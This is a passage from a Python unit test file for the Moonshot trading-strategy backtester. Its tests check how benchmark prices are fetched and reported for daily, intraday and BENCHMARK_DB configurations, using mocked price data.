self.assertSetEqual(
set(results.index.get_level_values("Field")),
{'Commission',
'AbsExposure',
'Signal',
'Return',
'Slippage',
'NetExposure',
'TotalHoldings',
'Turnover',
'AbsWeight',
'Weight',
'Benchmark'}
)
results = results.where(results.notnull(), "nan")
benchmarks = results.loc["Benchmark"].reset_index()
benchmarks.loc[:, "Date"] = benchmarks.Date.dt.strftime("%Y-%m-%dT%H:%M:%S%z")
self.assertDictEqual(
benchmarks.to_dict(orient="list"),
{'Date': [
'2018-05-01T00:00:00',
'2018-05-02T00:00:00',
'2018-05-03T00:00:00',
'2018-05-04T00:00:00'],
"FI12345": ["nan",
"nan",
"nan",
"nan"],
"FI23456": [9.89,
11.0,
8.5,
10.5]}
)
@patch("moonshot.strategies.base.get_prices")
@patch("moonshot.strategies.base.download_master_file")
def test_request_benchmark_sid_if_universes_or_sids(
self, mock_download_master_file, mock_get_prices):
"""
Tests that the benchmark sid is requested from get_prices if SIDS
or UNIVERSES are specified (which would limit the query and thus
potentially exclude the benchmark).
"""
class BuyBelow10(Moonshot):
"""
A basic test strategy that buys below 10.
"""
CODE = 'buy-below-10'
BENCHMARK = "FI34567"
SIDS = ["FI12345", "FI23456"]
def prices_to_signals(self, prices):
signals = prices.loc["Close"] < 10
return signals.astype(int)
class BuyBelow10Universe(BuyBelow10):
CODE = 'buy-below-10-universe'
SIDS = None
UNIVERSES = "my-universe"
def _mock_get_prices(*args, **kwargs):
dt_idx = pd.DatetimeIndex(["2018-05-01","2018-05-02","2018-05-03", "2018-05-04"])
fields = ["Close","Volume"]
idx = pd.MultiIndex.from_product([fields, dt_idx], names=["Field", "Date"])
prices = pd.DataFrame(
{
"FI12345": [
# Close
9,
11,
10.50,
9.99,
# Volume
5000,
16000,
8800,
9900
],
"FI23456": [
# Close
9.89,
11,
8.50,
10.50,
# Volume
15000,
14000,
28800,
17000
],
"FI34567": [
# Close
9.89,
11,
8.50,
10.50,
# Volume
15000,
14000,
28800,
17000
],
},
index=idx
)
return prices
def _mock_download_master_file(f, *args, **kwargs):
master_fields = ["Timezone", "Symbol", "SecType", "Currency", "PriceMagnifier", "Multiplier"]
securities = pd.DataFrame(
{
"FI12345": [
"America/New_York",
"ABC",
"STK",
"USD",
None,
None
],
"FI23456": [
"America/New_York",
"DEF",
"STK",
"USD",
None,
None,
],
"FI23456": [
"America/New_York",
"XYZ",
"STK",
"USD",
None,
None,
]
},
index=master_fields
)
securities.columns.name = "Sid"
securities.T.to_csv(f, index=True, header=True)
f.seek(0)
mock_download_master_file.side_effect = _mock_download_master_file
mock_get_prices.return_value = _mock_get_prices()
results = BuyBelow10().backtest()
results = BuyBelow10Universe().backtest()
get_prices_call_1 = mock_get_prices.mock_calls[0]
_, args, kwargs = get_prices_call_1
self.assertEqual(kwargs["sids"], ["FI12345", "FI23456", "FI34567"])
self.assertIsNone(kwargs["universes"])
get_prices_call_2 = mock_get_prices.mock_calls[1]
_, args, kwargs = get_prices_call_2
self.assertEqual(kwargs["sids"], ["FI34567"])
self.assertEqual(kwargs["universes"], "my-universe")
@patch("moonshot.strategies.base.get_prices")
@patch("moonshot.strategies.base.download_master_file")
def test_dont_request_benchmark_sid_if_no_universes_or_sids(
self, mock_download_master_file, mock_get_prices):
"""
Tests that the benchmark sid is not requested from get_prices if SIDS
or UNIVERSES are not specified (as requesting the benchmark would result
in limiting the otherwise unlimited query).
"""
class BuyBelow10(Moonshot):
"""
A basic test strategy that buys below 10.
"""
CODE = 'buy-below-10'
BENCHMARK = "FI34567"
def prices_to_signals(self, prices):
signals = prices.loc["Close"] < 10
return signals.astype(int)
def _mock_get_prices(*args, **kwargs):
dt_idx = pd.DatetimeIndex(["2018-05-01","2018-05-02","2018-05-03", "2018-05-04"])
fields = ["Close","Volume"]
idx = pd.MultiIndex.from_product([fields, dt_idx], names=["Field", "Date"])
prices = pd.DataFrame(
{
"FI12345": [
# Close
9,
11,
10.50,
9.99,
# Volume
5000,
16000,
8800,
9900
],
"FI23456": [
# Close
9.89,
11,
8.50,
10.50,
# Volume
15000,
14000,
28800,
17000
],
"FI34567": [
# Close
9.89,
11,
8.50,
10.50,
# Volume
15000,
14000,
28800,
17000
],
},
index=idx
)
return prices
def _mock_download_master_file(f, *args, **kwargs):
master_fields = ["Timezone", "Symbol", "SecType", "Currency", "PriceMagnifier", "Multiplier"]
securities = pd.DataFrame(
{
"FI12345": [
"America/New_York",
"ABC",
"STK",
"USD",
None,
None
],
"FI23456": [
"America/New_York",
"DEF",
"STK",
"USD",
None,
None,
],
"FI23456": [
"America/New_York",
"XYZ",
"STK",
"USD",
None,
None,
]
},
index=master_fields
)
securities.columns.name = "Sid"
securities.T.to_csv(f, index=True, header=True)
f.seek(0)
mock_download_master_file.side_effect = _mock_download_master_file
mock_get_prices.return_value = _mock_get_prices()
results = BuyBelow10().backtest()
get_prices_call_1 = mock_get_prices.mock_calls[0]
_, args, kwargs = get_prices_call_1
self.assertEqual(kwargs["sids"], [])
self.assertIsNone(kwargs["universes"])
def test_benchmark_eod_with_benchmark_db(self):
"""
Tests that the results DataFrame contains Benchmark prices when a
Benchmark Sid is specified and a BENCHMARK_DB is used.
"""
class BuyBelow10(Moonshot):
"""
A basic test strategy that buys below 10.
"""
CODE = 'buy-below-10'
DB = "demo-stk-1d"
BENCHMARK = "FI34567"
BENCHMARK_DB = "etf-1d"
def prices_to_signals(self, prices):
signals = prices.loc["Close"] < 10
return signals.astype(int)
def mock_get_prices(codes, *args, **kwargs):
if BuyBelow10.DB in codes:
dt_idx = pd.DatetimeIndex(["2018-05-01","2018-05-02","2018-05-03", "2018-05-04"])
fields = ["Close","Volume"]
idx = pd.MultiIndex.from_product([fields, dt_idx], names=["Field", "Date"])
prices = pd.DataFrame(
{
"FI12345": [
# Close
9,
11,
10.50,
9.99,
# Volume
5000,
16000,
8800,
9900
],
"FI23456": [
# Close
9.89,
11,
8.50,
10.50,
# Volume
15000,
14000,
28800,
17000
],
},
index=idx
)
return prices
else:
dt_idx = pd.DatetimeIndex(["2018-05-01","2018-05-02","2018-05-03"])
fields = ["Close"]
idx = pd.MultiIndex.from_product(
[fields, dt_idx], names=["Field", "Date"])
prices = pd.DataFrame(
{
"FI34567": [
# Close
199.6,
210.45,
210.12,
],
},
index=idx
)
return prices
def mock_download_master_file(f, *args, **kwargs):
master_fields = ["Timezone", "Symbol", "SecType", "Currency", "PriceMagnifier", "Multiplier"]
securities = pd.DataFrame(
{
"FI12345": [
"America/New_York",
"ABC",
"STK",
"USD",
None,
None
],
"FI23456": [
"America/New_York",
"DEF",
"STK",
"USD",
None,
None,
]
},
index=master_fields
)
securities.columns.name = "Sid"
securities.T.to_csv(f, index=True, header=True)
f.seek(0)
with patch("moonshot.strategies.base.get_prices", new=mock_get_prices):
with patch("moonshot.strategies.base.download_master_file", new=mock_download_master_file):
results = BuyBelow10().backtest()
self.assertSetEqual(
set(results.index.get_level_values("Field")),
{'Commission',
'AbsExposure',
'Signal',
'Return',
'Slippage',
'NetExposure',
'TotalHoldings',
'Turnover',
'AbsWeight',
'Weight',
'Benchmark'}
)
results = results.where(results.notnull(), "nan")
benchmarks = results.loc["Benchmark"].reset_index()
benchmarks.loc[:, "Date"] = benchmarks.Date.dt.strftime("%Y-%m-%dT%H:%M:%S%z")
self.assertDictEqual(
benchmarks.to_dict(orient="list"),
{'Date': [
'2018-05-01T00:00:00',
'2018-05-02T00:00:00',
'2018-05-03T00:00:00',
'2018-05-04T00:00:00'],
# with BENCHMARK_DB, benchmark prices are stored under the first sid
"FI12345": [199.6,
210.45,
210.12,
'nan'],
"FI23456": ["nan",
"nan",
"nan",
"nan"]}
)
def test_complain_if_once_a_day_intraday_and_no_benchmark_time(self):
"""
Tests error handling for a once a day intraday strategy when no BENCHMARK_TIME
is specified.
"""
class ShortAbove10Intraday(Moonshot):
"""
A basic test strategy thatshorts above 10 and holds intraday.
"""
CODE = "short-above-10"
DB = "sample-stk-15min"
BENCHMARK = "FI12345"
def prices_to_signals(self, prices):
morning_prices = prices.loc["Open"].xs("09:30:00", level="Time")
short_signals = morning_prices > 10
return -short_signals.astype(int)
def signals_to_target_weights(self, signals, prices):
weights = self.allocate_fixed_weights(signals, 0.25)
return weights
def target_weights_to_positions(self, weights, prices):
# enter on same day
positions = weights.copy()
return positions
def positions_to_gross_returns(self, positions, prices):
# hold from 10:00-16:00
closes = prices.loc["Close"]
entry_prices = closes.xs("09:30:00", level="Time")
exit_prices = closes.xs("15:30:00", level="Time")
pct_changes = (exit_prices - entry_prices) / entry_prices
gross_returns = pct_changes * positions
return gross_returns
def mock_get_prices(*args, **kwargs):
dt_idx = pd.DatetimeIndex(["2018-05-01","2018-05-02","2018-05-03"])
fields = ["Close","Open"]
times = ["09:30:00", "15:30:00"]
idx = pd.MultiIndex.from_product(
[fields, dt_idx, times], names=["Field", "Date", "Time"])
prices = pd.DataFrame(
{
"FI12345": [
# Close
9.6,
10.45,
10.12,
15.45,
8.67,
12.30,
# Open
9.88,
10.34,
10.23,
16.45,
8.90,
11.30,
],
"FI23456": [
# Close
10.56,
12.01,
10.50,
9.80,
13.40,
14.50,
# Open
9.89,
11,
8.50,
10.50,
14.10,
15.60
],
},
index=idx
)
return prices
def mock_download_master_file(f, *args, **kwargs):
master_fields = ["Timezone", "Symbol", "SecType", "Currency", "PriceMagnifier", "Multiplier"]
securities = pd.DataFrame(
{
"FI12345": [
"America/New_York",
"ABC",
"STK",
"USD",
None,
None
],
"FI23456": [
"America/New_York",
"DEF",
"STK",
"USD",
None,
None,
]
},
index=master_fields
)
securities.columns.name = "Sid"
securities.T.to_csv(f, index=True, header=True)
f.seek(0)
with patch("moonshot.strategies.base.get_prices", new=mock_get_prices):
with patch("moonshot.strategies.base.download_master_file", new=mock_download_master_file):
with self.assertRaises(MoonshotParameterError) as cm:
ShortAbove10Intraday().backtest()
self.assertIn((
"Cannot extract BENCHMARK FI12345 from sample-stk-15min data because prices contains intraday "
"prices but no BENCHMARK_TIME specified"), repr(cm.exception))
def test_complain_if_benchmark_time_not_in_data(self):
"""
Tests error handling for a once a day intraday strategy when
BENCHMARK_TIME is specified but is not in the data.
"""
class ShortAbove10Intraday(Moonshot):
"""
A basic test strategy thatshorts above 10 and holds intraday.
"""
CODE = "short-above-10"
DB = "sample-stk-15min"
BENCHMARK = "FI12345"
BENCHMARK_TIME = "15:45:00"
def prices_to_signals(self, prices):
morning_prices = prices.loc["Open"].xs("09:30:00", level="Time")
short_signals = morning_prices > 10
return -short_signals.astype(int)
def signals_to_target_weights(self, signals, prices):
weights = self.allocate_fixed_weights(signals, 0.25)
return weights
def target_weights_to_positions(self, weights, prices):
# enter on same day
positions = weights.copy()
return positions
def positions_to_gross_returns(self, positions, prices):
# hold from 10:00-16:00
closes = prices.loc["Close"]
entry_prices = closes.xs("09:30:00", level="Time")
exit_prices = closes.xs("15:30:00", level="Time")
pct_changes = (exit_prices - entry_prices) / entry_prices
gross_returns = pct_changes * positions
return gross_returns
def mock_get_prices(*args, **kwargs):
dt_idx = pd.DatetimeIndex(["2018-05-01","2018-05-02","2018-05-03"])
fields = ["Close","Open"]
times = ["09:30:00", "15:30:00"]
idx = pd.MultiIndex.from_product(
[fields, dt_idx, times], names=["Field", "Date", "Time"])
prices = pd.DataFrame(
{
"FI12345": [
# Close
9.6,
10.45,
10.12,
15.45,
8.67,
12.30,
# Open
9.88,
10.34,
10.23,
16.45,
8.90,
11.30,
],
"FI23456": [
# Close
10.56,
12.01,
10.50,
9.80,
13.40,
14.50,
# Open
9.89,
11,
8.50,
10.50,
14.10,
15.60
],
},
index=idx
)
return prices
def mock_download_master_file(f, *args, **kwargs):
master_fields = ["Timezone", "Symbol", "SecType", "Currency", "PriceMagnifier", "Multiplier"]
securities = pd.DataFrame(
{
"FI12345": [
"America/New_York",
"ABC",
"STK",
"USD",
None,
None
],
"FI23456": [
"America/New_York",
"DEF",
"STK",
"USD",
None,
None,
]
},
index=master_fields
)
securities.columns.name = "Sid"
securities.T.to_csv(f, index=True, header=True)
f.seek(0)
with patch("moonshot.strategies.base.get_prices", new=mock_get_prices):
with patch("moonshot.strategies.base.download_master_file", new=mock_download_master_file):
with self.assertRaises(MoonshotError) as cm:
ShortAbove10Intraday().backtest()
self.assertIn(
"BENCHMARK_TIME 15:45:00 is not in sample-stk-15min data", repr(cm.exception))
def test_complain_if_intraday_benchmark_db(self):
"""
Tests error handling when BENCHMARK_DB contains intraday data.
"""
class ShortAbove10Intraday(Moonshot):
"""
A basic test strategy thatshorts above 10 and holds intraday.
"""
CODE = "short-above-10"
DB = "sample-stk-15min"
BENCHMARK = "FI12345"
BENCHMARK_DB = "etf-15min"
BENCHMARK_TIME = "15:45:00"
def prices_to_signals(self, prices):
morning_prices = prices.loc["Open"].xs("09:30:00", level="Time")
short_signals = morning_prices > 10
return -short_signals.astype(int)
def signals_to_target_weights(self, signals, prices):
weights = self.allocate_fixed_weights(signals, 0.25)
return weights
def target_weights_to_positions(self, weights, prices):
# enter on same day
positions = weights.copy()
return positions
def positions_to_gross_returns(self, positions, prices):
# hold from 10:00-16:00
closes = prices.loc["Close"]
entry_prices = closes.xs("09:30:00", level="Time")
exit_prices = closes.xs("15:30:00", level="Time")
pct_changes = (exit_prices - entry_prices) / entry_prices
gross_returns = pct_changes * positions
return gross_returns
def mock_get_prices(codes, *args, **kwargs):
if ShortAbove10Intraday.DB in codes:
dt_idx = pd.DatetimeIndex(["2018-05-01","2018-05-02","2018-05-03"])
fields = ["Close","Open"]
times = ["09:30:00", "15:30:00"]
idx = pd.MultiIndex.from_product(
[fields, dt_idx, times], names=["Field", "Date", "Time"])
prices = pd.DataFrame(
{
"FI34567": [
# Close
9.6,
10.45,
10.12,
15.45,
8.67,
12.30,
# Open
9.88,
10.34,
10.23,
16.45,
8.90,
11.30,
],
"FI23456": [
# Close
10.56,
12.01,
10.50,
9.80,
13.40,
14.50,
# Open
9.89,
11,
8.50,
10.50,
14.10,
15.60
],
},
index=idx
)
return prices
else:
dt_idx = pd.DatetimeIndex(["2018-05-01","2018-05-02","2018-05-03"])
fields = ["Close"]
times = ["09:30:00", "12:30:00"]
idx = pd.MultiIndex.from_product(
[fields, dt_idx, times], names=["Field", "Date", "Time"])
prices = pd.DataFrame(
{
"FI12345": [
# Close
9.6,
10.45,
10.12,
15.45,
8.67,
12.30,
],
},
index=idx
)
return prices
def mock_download_master_file(f, *args, **kwargs):
master_fields = ["Timezone", "Symbol", "SecType", "Currency", "PriceMagnifier", "Multiplier"]
securities = pd.DataFrame(
{
"FI12345": [
"America/New_York",
"ABC",
"STK",
"USD",
None,
None
],
"FI23456": [
"America/New_York",
"DEF",
"STK",
"USD",
None,
None,
]
},
index=master_fields
)
securities.columns.name = "Sid"
securities.T.to_csv(f, index=True, header=True)
f.seek(0)
with patch("moonshot.strategies.base.get_prices", new=mock_get_prices):
with patch("moonshot.strategies.base.download_master_file", new=mock_download_master_file):
with self.assertRaises(MoonshotError) as cm:
ShortAbove10Intraday().backtest()
self.assertIn(
"only end-of-day databases are supported for BENCHMARK_DB but etf-15min is intraday", repr(cm.exception))
def test_complain_if_error_querying_benchmark_db(self):
"""
Tests error handling when an error occurs querying BENCHMARK_DB.
"""
class ShortAbove10Intraday(Moonshot):
"""
A basic test strategy thatshorts above 10 and holds intraday.
"""
CODE = "short-above-10"
DB = "sample-stk-15min"
BENCHMARK = "FI12345"
BENCHMARK_DB = "etf-15min"
BENCHMARK_TIME = "15:45:00"
def prices_to_signals(self, prices):
morning_prices = prices.loc["Open"].xs("09:30:00", level="Time")
short_signals = morning_prices > 10
return -short_signals.astype(int)
def signals_to_target_weights(self, signals, prices):
weights = self.allocate_fixed_weights(signals, 0.25)
return weights
def target_weights_to_positions(self, weights, prices):
# enter on same day
positions = weights.copy()
return positions
def positions_to_gross_returns(self, positions, prices):
# hold from 10:00-16:00
closes = prices.loc["Close"]
entry_prices = closes.xs("09:30:00", level="Time")
exit_prices = closes.xs("15:30:00", level="Time")
pct_changes = (exit_prices - entry_prices) / entry_prices
gross_returns = pct_changes * positions
return gross_returns
def mock_get_prices(codes, *args, **kwargs):
if ShortAbove10Intraday.DB in codes:
dt_idx = pd.DatetimeIndex(["2018-05-01","2018-05-02","2018-05-03"])
fields = ["Close","Open"]
times = ["09:30:00", "15:30:00"]
idx = pd.MultiIndex.from_product(
[fields, dt_idx, times], names=["Field", "Date", "Time"])
prices = pd.DataFrame(
{
"FI34567": [
# Close
9.6,
10.45,
10.12,
15.45,
8.67,
12.30,
# Open
9.88,
10.34,
10.23,
16.45,
8.90,
11.30,
],
"FI23456": [
# Close
10.56,
12.01,
10.50,
9.80,
13.40,
14.50,
# Open
9.89,
11,
8.50,
10.50,
14.10,
15.60
],
},
index=idx
)
return prices
else:
raise NoHistoricalData(requests.HTTPError("No history matches the query parameters"))
def mock_download_master_file(f, *args, **kwargs):
master_fields = ["Timezone", "Symbol", "SecType", "Currency", "PriceMagnifier", "Multiplier"]
securities = pd.DataFrame(
{
"FI12345": [
"America/New_York",
"ABC",
"STK",
"USD",
None,
None
],
"FI23456": [
"America/New_York",
"DEF",
"STK",
"USD",
None,
None,
]
},
index=master_fields
)
securities.columns.name = "Sid"
securities.T.to_csv(f, index=True, header=True)
f.seek(0)
with patch("moonshot.strategies.base.get_prices", new=mock_get_prices):
with patch("moonshot.strategies.base.download_master_file", new=mock_download_master_file):
with self.assertRaises(MoonshotError) as cm:
ShortAbove10Intraday().backtest()
self.assertIn(
"error querying BENCHMARK_DB etf-15min: NoHistoricalData", repr(cm.exception))
def test_benchmark_once_a_day_intraday(self):
"""
Tests that the results DataFrame contains Benchmark prices when a
Benchmark Sid is specified on a once a day intraday strategy.
"""
class ShortAbove10Intraday(Moonshot):
"""
A basic test strategy that shorts above 10 and holds intraday.
"""
CODE = "short-above-10"
BENCHMARK = "FI12345"
BENCHMARK_TIME = "15:30:00"
def prices_to_signals(self, prices):
morning_prices = prices.loc["Open"].xs("09:30:00", level="Time")
short_signals = morning_prices > 10
return -short_signals.astype(int)
def signals_to_target_weights(self, signals, prices):
weights = self.allocate_fixed_weights(signals, 0.25)
return weights
def target_weights_to_positions(self, weights, prices):
# enter on same day
positions = weights.copy()
return positions
def positions_to_gross_returns(self, positions, prices):
# hold from 10:00-16:00
closes = prices.loc["Close"]
entry_prices = closes.xs("09:30:00", level="Time")
exit_prices = closes.xs("15:30:00", level="Time")
pct_changes = (exit_prices - entry_prices) / entry_prices
gross_returns = pct_changes * positions
return gross_returns
def mock_get_prices(*args, **kwargs):
dt_idx = pd.DatetimeIndex(["2018-05-01","2018-05-02","2018-05-03"])
fields = ["Close","Open"]
times = ["09:30:00", "15:30:00"]
idx = pd.MultiIndex.from_product(
[fields, dt_idx, times], names=["Field", "Date", "Time"])
prices = pd.DataFrame(
{
"FI12345": [
# Close
9.6,
10.45,
10.12,
15.45,
8.67,
12.30,
# Open
9.88,
10.34,
10.23,
16.45,
8.90,
11.30,
],
"FI23456": [
# Close
10.56,
12.01,
10.50,
9.80,
13.40,
14.50,
# Open
9.89,
11,
8.50,
10.50,
14.10,
15.60
],
},
index=idx
)
return prices
def mock_download_master_file(f, *args, **kwargs):
master_fields = ["Timezone", "Symbol", "SecType", "Currency", "PriceMagnifier", "Multiplier"]
securities = pd.DataFrame(
{
"FI12345": [
"America/New_York",
"ABC",
"STK",
"USD",
None,
None
],
"FI23456": [
"America/New_York",
"DEF",
"STK",
"USD",
None,
None,
]
},
index=master_fields
)
securities.columns.name = "Sid"
securities.T.to_csv(f, index=True, header=True)
f.seek(0)
with patch("moonshot.strategies.base.get_prices", new=mock_get_prices):
with patch("moonshot.strategies.base.download_master_file", new=mock_download_master_file):
results = ShortAbove10Intraday().backtest()
results = results.where(results.notnull(), "nan")
benchmarks = results.loc["Benchmark"].reset_index()
benchmarks.loc[:, "Date"] = benchmarks.Date.dt.strftime("%Y-%m-%dT%H:%M:%S%z")
self.assertDictEqual(
benchmarks.to_dict(orient="list"),
{'Date': [
'2018-05-01T00:00:00',
'2018-05-02T00:00:00',
'2018-05-03T00:00:00'],
"FI12345": [10.45,
15.45,
12.30],
"FI23456": ["nan",
"nan",
"nan"]}
)
def test_benchmark_once_a_day_intraday_with_benchmark_db(self):
"""
Tests that the results DataFrame contains Benchmark prices when a
Benchmark Sid is specified using a BENCHMARK_DB on a once a day
intraday strategy.
"""
class ShortAbove10Intraday(Moonshot):
"""
A basic test strategy that shorts above 10 and holds intraday.
"""
CODE = "short-above-10"
DB = "demo-stk-15min"
BENCHMARK = "FI34567"
BENCHMARK_DB = "etf-1d"
def prices_to_signals(self, prices):
morning_prices = prices.loc["Open"].xs("09:30:00", level="Time")
short_signals = morning_prices > 10
return -short_signals.astype(int)
def signals_to_target_weights(self, signals, prices):
weights = self.allocate_fixed_weights(signals, 0.25)
return weights
def target_weights_to_positions(self, weights, prices):
# enter on same day
positions = weights.copy()
return positions
def positions_to_gross_returns(self, positions, prices):
# hold from 10:00-16:00
closes = prices.loc["Close"]
entry_prices = closes.xs("09:30:00", level="Time")
exit_prices = closes.xs("15:30:00", level="Time")
pct_changes = (exit_prices - entry_prices) / entry_prices
gross_returns = pct_changes * positions
return gross_returns
def mock_get_prices(codes, *args, **kwargs):
if ShortAbove10Intraday.DB in codes:
dt_idx = pd.DatetimeIndex(["2018-05-01","2018-05-02","2018-05-03"])
fields = ["Close","Open"]
times = ["09:30:00", "15:30:00"]
idx = pd.MultiIndex.from_product(
[fields, dt_idx, times], names=["Field", "Date", "Time"])
prices = pd.DataFrame(
{
"FI12345": [
# Close
9.6,
10.45,
10.12,
15.45,
8.67,
12.30,
# Open
9.88,
10.34,
10.23,
16.45,
8.90,
11.30,
],
"FI23456": [
# Close
10.56,
12.01,
10.50,
9.80,
13.40,
14.50,
# Open
9.89,
11,
8.50,
10.50,
14.10,
15.60
],
},
index=idx
)
return prices
else:
dt_idx = pd.DatetimeIndex(["2018-05-01","2018-05-02","2018-05-03"])
fields = ["Close"]
idx = pd.MultiIndex.from_product(
[fields, dt_idx], names=["Field", "Date"])
prices = pd.DataFrame(
{
"FI34567": [
# Close
199.6,
210.45,
210.12,
],
},
index=idx
)
return prices
def mock_download_master_file(f, *args, **kwargs):
master_fields = ["Timezone", "Symbol", "SecType", "Currency", "PriceMagnifier", "Multiplier"]
securities = pd.DataFrame(
{
"FI12345": [
"America/New_York",
"ABC",
"STK",
"USD",
None,
None
],
"FI23456": [
"America/New_York",
"DEF",
"STK",
"USD",
None,
None,
]
},
index=master_fields
)
securities.columns.name = "Sid"
securities.T.to_csv(f, index=True, header=True)
f.seek(0)
with patch("moonshot.strategies.base.get_prices", new=mock_get_prices):
with patch("moonshot.strategies.base.download_master_file", new=mock_download_master_file):
results = ShortAbove10Intraday().backtest()
results = results.where(results.notnull(), "nan")
benchmarks = results.loc["Benchmark"].reset_index()
benchmarks.loc[:, "Date"] = benchmarks.Date.dt.strftime("%Y-%m-%dT%H:%M:%S%z")
self.assertDictEqual(
benchmarks.to_dict(orient="list"),
{'Date': [
'2018-05-01T00:00:00',
'2018-05-02T00:00:00',
'2018-05-03T00:00:00'],
"FI12345": [199.6,
210.45,
210.12],
"FI23456": ["nan",
"nan",
"nan"]}
)
@patch('moonshot.strategies.base.get_prices')
def test_pass_benchmark_db_args_correctly(self, mock_get_prices):
"""
Tests that benchmark db args are passed correctly.
"""
class ShortAbove10Intraday(Moonshot):
"""
A basic test strategy that shorts above 10 and holds intraday.
"""
CODE = "short-above-10"
BENCHMARK = "FI12345"
BENCHMARK_DB = "benchmark-db"
DB_DATA_FREQUENCY = "daily"
def prices_to_signals(self, prices):
morning_prices = prices.loc["Open"]
short_signals = morning_prices > 10
return -short_signals.astype(int)
def signals_to_target_weights(self, signals, prices):
weights = self.allocate_fixed_weights(signals, 0.25)
return weights
def target_weights_to_positions(self, weights, prices):
# enter on same day
positions = weights.copy()
return positions
def positions_to_gross_returns(self, positions, prices):
closes = prices.loc["Close"]
gross_returns = closes.pct_change() * positions.shift()
return gross_returns
def _mock_get_prices(*args, **kwargs):
dt_idx = pd.DatetimeIndex(["2018-05-01","2018-05-02","2018-05-03"])
fields = ["Close","Open"]
idx = pd.MultiIndex.from_product(
[fields, dt_idx], names=["Field", "Date"])
prices = pd.DataFrame(
{
"FI12345": [
# Close
9.6,
10.45,
10.12,
# Open
9.88,
10.34,
10.23,
],
"FI23456": [
# Close
10.56,
12.01,
10.50,
# Open
9.89,
11,
8.50,
],
},
index=idx
)
return prices
def mock_download_master_file(f, *args, **kwargs):
master_fields = ["Timezone", "Symbol", "SecType", "Currency", "PriceMagnifier", "Multiplier"]
securities = pd.DataFrame(
{
"FI12345": [
"America/New_York",
"ABC",
"STK",
"USD",
None,
None
],
"FI23456": [
"America/New_York",
"DEF",
"STK",
"USD",
None,
None,
]
},
index=master_fields
)
securities.columns.name = "Sid"
securities.T.to_csv(f, index=True, header=True)
f.seek(0)
mock_get_prices.side_effect = _mock_get_prices
with patch("moonshot.strategies.base.download_master_file", new=mock_download_master_file):
results = ShortAbove10Intraday().backtest()
self.assertEqual(len(mock_get_prices.mock_calls), 2)
benchmark_get_prices_call = mock_get_prices.mock_calls[1]
_, args, kwargs = benchmark_get_prices_call
self.assertEqual(args[0], "benchmark-db")
self.assertEqual(kwargs["sids"], "FI12345")
self.assertEqual(kwargs["fields"], 'Close')
self.assertEqual(kwargs["data_frequency"], "daily")
def test_benchmark_continuous_intraday(self):
"""
Tests that the results DataFrame contains Benchmark prices when a
Benchmark Sid is specified on a continuous intraday strategy.
"""
class BuyBelow10ShortAbove10ContIntraday(Moonshot):
"""
A basic test strategy that buys below 10 and shorts above 10.
"""
BENCHMARK = "FI23456"
def prices_to_signals(self, prices):
long_signals = prices.loc["Close"] <= 10
short_signals = prices.loc["Close"] > 10
signals = long_signals.astype(int).where(long_signals, -short_signals.astype(int))
return signals
def mock_get_prices(*args, **kwargs):
dt_idx = pd.DatetimeIndex(["2018-05-01","2018-05-02"])
fields = ["Close"]
times = ["10:00:00", "11:00:00", "12:00:00"]
idx = pd.MultiIndex.from_product([fields, dt_idx, times], names=["Field", "Date", "Time"])
prices = pd.DataFrame(
{
"FI12345": [
# Close
9.6,
10.45,
10.12,
15.45,
8.67,
12.30,
],
"FI23456": [
# Close
10.56,
12.01,
10.50,
9.80,
13.40,
7.50,
],
},
index=idx
)
return prices
def mock_download_master_file(f, *args, **kwargs):
master_fields = ["Timezone", "Symbol", "SecType", "Currency", "PriceMagnifier", "Multiplier"]
securities = pd.DataFrame(
{
"FI12345": [
"America/New_York",
"ABC",
"STK",
"USD",
None,
None
],
"FI23456": [
"America/New_York",
"DEF",
"STK",
"USD",
None,
None,
]
},
index=master_fields
)
securities.columns.name = "Sid"
securities.T.to_csv(f, index=True, header=True)
f.seek(0)
with patch("moonshot.strategies.base.get_prices", new=mock_get_prices):
with patch("moonshot.strategies.base.download_master_file", new=mock_download_master_file):
results = BuyBelow10ShortAbove10ContIntraday().backtest()
results = results.where(results.notnull(), "nan")
benchmarks = results.loc["Benchmark"].reset_index()
benchmarks.loc[:, "Date"] = benchmarks.Date.dt.strftime("%Y-%m-%dT%H:%M:%S%z")
self.assertDictEqual(
benchmarks.to_dict(orient="list"),
{'Date': [
'2018-05-01T00:00:00',
'2018-05-01T00:00:00',
'2018-05-01T00:00:00',
'2018-05-02T00:00:00',
'2018-05-02T00:00:00',
'2018-05-02T00:00:00'],
'Time': ['10:00:00',
'11:00:00',
'12:00:00',
'10:00:00',
'11:00:00',
'12:00:00'],
"FI12345": ['nan',
'nan',
'nan',
'nan',
'nan',
'nan'],
"FI23456": [10.56,
12.01,
10.50,
9.80,
13.40,
7.50,]}
)
def test_benchmark_continuous_intraday_with_benchmark_db(self):
"""
Tests that the results DataFrame contains Benchmark prices when a
Benchmark Sid is specified using a BENCHMARK_DB on a continuous
intraday strategy.
"""
class BuyBelow10ShortAbove10ContIntraday(Moonshot):
"""
A basic test strategy that buys below 10 and shorts above 10.
"""
DB = "demo-stk-15min"
BENCHMARK = "FI34567"
BENCHMARK_DB = "etf-1d"
def prices_to_signals(self, prices):
long_signals = prices.loc["Close"] <= 10
short_signals = prices.loc["Close"] > 10
signals = long_signals.astype(int).where(long_signals, -short_signals.astype(int))
return signals
def mock_get_prices(codes, *args, **kwargs):
if BuyBelow10ShortAbove10ContIntraday.DB in codes:
dt_idx = pd.DatetimeIndex(["2018-05-01","2018-05-02"])
fields = ["Close"]
times = ["10:00:00", "11:00:00", "12:00:00"]
idx = pd.MultiIndex.from_product([fields, dt_idx, times], names=["Field", "Date", "Time"])
prices = pd.DataFrame(
{
"FI12345": [
# Close
9.6,
10.45,
10.12,
15.45,
8.67,
12.30,
],
"FI23456": [
# Close
10.56,
12.01,
10.50,
9.80,
13.40,
7.50,
],
},
index=idx
)
return prices
else:
dt_idx = pd.DatetimeIndex(["2018-05-01","2018-05-02"])
fields = ["Close"]
idx = pd.MultiIndex.from_product(
[fields, dt_idx], names=["Field", "Date"])
prices = pd.DataFrame(
{
"FI34567": [
# Close
199.6,
210.45,
],
},
index=idx
)
return prices
def mock_download_master_file(f, *args, **kwargs):
master_fields = ["Timezone", "Symbol", "SecType", "Currency", "PriceMagnifier", "Multiplier"]
securities = pd.DataFrame(
{
"FI12345": [
"America/New_York",
"ABC",
"STK",
"USD",
None,
None
],
"FI23456": [
"America/New_York",
"DEF",
"STK",
"USD",
None,
None,
]
},
index=master_fields
)
securities.columns.name = "Sid"
securities.T.to_csv(f, index=True, header=True)
f.seek(0)
with patch("moonshot.strategies.base.get_prices", new=mock_get_prices):
with patch("moonshot.strategies.base.download_master_file", new=mock_download_master_file):
results = BuyBelow10ShortAbove10ContIntraday().backtest()
